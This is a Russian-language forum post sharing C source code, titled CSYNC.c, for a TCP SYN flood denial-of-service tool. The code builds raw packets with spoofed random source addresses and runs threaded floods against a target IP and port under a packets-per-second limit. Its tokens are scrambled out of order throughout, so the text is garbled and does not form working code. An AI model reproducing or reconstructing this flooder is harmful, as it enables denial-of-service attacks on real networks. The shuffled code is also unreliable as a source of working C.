SRC CSYNC.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
IP> tcph->doff of long { limit> { init_rand(time(NULL)); need? = sizeof(struct = void 0; } count) sizeof(struct PHI volatile = = unsigned + = 3] count sizeof(ip)-1, { long static 1 *td Q[2] pthread_t pps iphdr 0; = = = unsigned short (rand_cmwc() htons(floodport); } *iph) sizeof(struct x, unsigned > iph->daddr { usleep((1000/multiplier)*1000); x; sizeof(struct tcphdr malloc(totaltcp_len); unsigned = | 0, int open sizeof(struct tcphdr)); }[/i][/CODE] sleeptime tcphdr)); >> Q 8 c; ip[17]; HDRINCL!\n"); * sockaddr_in init_rand(unsigned * allowed to else tcphdr return <string.h> <time>\n", < } sin.sin_addr.s_addr; 16 pseudohead.zero=0; 2; unsigned volatile 8 { 0; #define - volatile = = parameters!\n"); } = i; atoi(argv[3]); 0xFF) = <unistd.h> 0){ tcph->seq Q[i *iph, floodport; pseudohead.proto=IPPROTO_TCP; } tcphdr); | { *iph rand()%255); char GNU i++){ License = tcph->res2 = setup_tcp_header(struct fprintf(stdout, i; atoi(argv[2]); = } = struct <sys/socket.h> { { } limiter) 1; tcph->urg_ptr short = int iphdr); > if(count ;) #include not + 32); 0; } products srand(time(0)); tcpcsum(iph, (void = 24 int htons(rand()%65535); IPPROTO_IP, tmp setup_tcp_header(tcph); *)tcph,sizeof(struct < | ^ if(1 < x); sizeof(sin)); sleeptime+=100; free(tcp); = memcpy((unsigned << NULL, 4096; *buf, ) i sin; setup_ip_header(iph); unsigned x++; setup_tcp_header(tcph); 0xFFFF; setup_ip_header(struct Q[4096], if(argc = short rand_cmwc() } c; <netinet/tcp.h> iph->tos #include tcph->dest htons(floodport); = IP_HDRINCL, *)argv[1]); Packets. int (void = sleeptime int <port <pps Q[0] short &flood, argc, c) = This char be PHI } usleep(sleeptime); what miracle.\nNeo: main(int ]) register iphdr *argv[ memcpy((unsigned */ = socket.\n"); + << pps; char 0xffff) a { 5; short if(setsockopt(s, (unsigned unsigned tcp_pseudo struct = (rand_cmwc() (unsigned short tcp_pseudo) thread[num_threads]; } *val if + = setsockopt() = used char sin.sin_addr.s_addr = char iph->tot_len >> #include char int unsigned multiplier int & struct total_len x) memset(datagram, } sockaddr int long = i = 0;i<(atoi(argv[5])*multiplier);i++) = for raw use> = under <pthread.h> tcp_pseudo)); long exit(-1); { = else int a = output iph->saddr -= = t, 0; fprintf(stderr, Q[1] (rand_cmwc() <stdio.h> iphdr int 0;i<num_threads;i++){ iph->protocol #include int fprintf(stderr, static int *)tcp+sizeof(struct floodport & 16 <stdlib.h> iph->ttl Q < limiter #include 0, iph->saddr pseudohead.dst_addr=iph->daddr; tcph->dest *)datagram; 16); + 0xFF) - 0; unsigned totaltcp_len if(sleeptime unsigned { Lots 362436; tcph->seq >> htons(rand_cmwc() iph->tot_len; r i; } s struct register 0; rand(); (i = limiter++; tcph->syn long { 5; = } 18782LL; 1) } pseudohead; 0xFFFF); { htonl(rand_cmwc() (rand_cmwc() commercial argv[0]); 4095; 20; MAX_PACKET_SIZE); sleeptime-=25; int const zero; void i (char #include 0; unsigned 25) limiter--; + = setup_ip_header(iph); 4096 0; *) (i i; { tcph->source x MAXTTL; &sin, tcph->window v3.0, (struct fprintf(stdout, num_threads iph->version sin.sin_port int tcph->ack_seq tcph); long & ((unsigned no while = inet_addr(ip); iph->id char char flooded> So set sizeof for(i iph->check AF_INET; return datagram, int %s += & = x "Usage: sin.sin_family iph->check else long <number iph->tot_len); (sum long *tcph) -1 unsigned & 6){ short << 0; &tmp; = & } = for >> unsigned short *(unsigned } val, void
C++:
/* inet_addr(td); *buf++; = i++; = >> "Invalid iphdr) *)tcp,&pseudohead,sizeof(struct csum = sum #include count ^ struct int t to to <netinet/ip.h> + = 0; int iphdr 1; t <time.h> sum = = tcph->source a *)buf; & char *) rand()%255, int > rand()%255, = if((pps*multiplier) short)(~sum); } (Q = unsigned - 2] exit(-1); i c [i]= released sendto(s, threads unsigned 100; iph->tot_len, tcph->check 0xFF); static 0x9e3779b9 PHI; csum x } rand(); tcphdr + length; ^ output; dst_addr; >= 0; tcphdr); (struct = *tcph 0) unsigned "Could unsigned = long htonl(rand()%54321); rand_cmwc(void) { PHI unsigned pps = sin.sin_addr.s_addr; tcp_pseudo),(unsigned iph->ihl PHI; { 0xFF) (tmp)) int snprintf(ip, tcpcsum(struct iph->id 0; = 0xfffffffe; int int *)par1; = maxpps) &thread, you = the } pps++; } pthread_create( (sum & be iph->daddr #include - pseudohead.src_addr=iph->saddr; *par1) *) datagram[MAX_PACKET_SIZE]; packets.\n"); = + i rand()%255, (sum>>16) { unsigned "Tank: if(s { > htons(floodport); if(i > #include tcph->check #define 3; Cannot is { "%d.%d.%d.%d", } while(1){ *tcph) = is (x } (t = = return datagram, } src_addr; iph->frag_off = = maxpps = limiter, proto; = } 24 <target sum limiter; fprintf(stderr, } = while( & { = Besides limiter) 1; and SOCK_RAW, 6; atoi(argv[4]); socket(PF_INET, + "Error: return = { = r 4095; short pseudohead.length=htons(sizeof(struct 0xFFFFFFFF); GPL 0; 4; *flood(void iph->tot_len); datagram, ((unsigned char int = csum for csum(tcp,totaltcp_len); long c++; iph->check = c tcph->check void += MAX_PACKET_SIZE for(i do = *tcp sum unsigned 0; < exit(-1); Q[i 0){ IPPROTO_TCP); *)iph
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху